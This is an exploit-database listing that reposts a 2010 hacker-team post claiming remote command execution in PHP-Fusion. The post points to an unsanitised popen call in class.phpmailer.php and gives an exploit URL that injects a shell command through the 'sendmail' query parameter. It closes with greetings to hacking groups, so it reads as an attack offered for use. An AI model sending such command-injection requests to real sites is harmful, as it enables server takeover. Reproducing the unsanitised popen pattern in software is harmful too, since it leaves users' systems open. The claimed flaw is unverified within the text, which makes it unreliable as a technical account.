PHP-Fusion remote command execution

2010.07.19
Credit: ViRuS Qalaa
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# Exploit Title: PHP-Fusion Remote Command Execution Vulnerability # Date: 2010/07/19 # Author: ViRuS Qalaa # Email: em9@live.com # My Sites : www.pal-mafia.com & www.vbspiders.com # Script home: http://www.phpfusion-ar.com # download Script: http://www.phpfusion-ar.com/downloads.php?cat_id=1&download_id=91 # Version:all # Tested on: Windows # Team hacker:ViRuS Qalaa & HaCkEr aRaR >>>X-MaN HaCk3r TeaM ::::::::::::::::::::::::: =================Exploit================= -=[ vuln c0de ]=- popen($sendmail, 'w')) /includes/class.phpmailer.php Line:438 ----exploit---- http://{localhost}/{path}/includes/class.phpmailer.php?sendmail=id ---------greatz---------- Greatz to : hacker arar,ViRuS KSA,Q2,Spy-iq and My friends Others and My friends in MSN EnJoY o_O


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top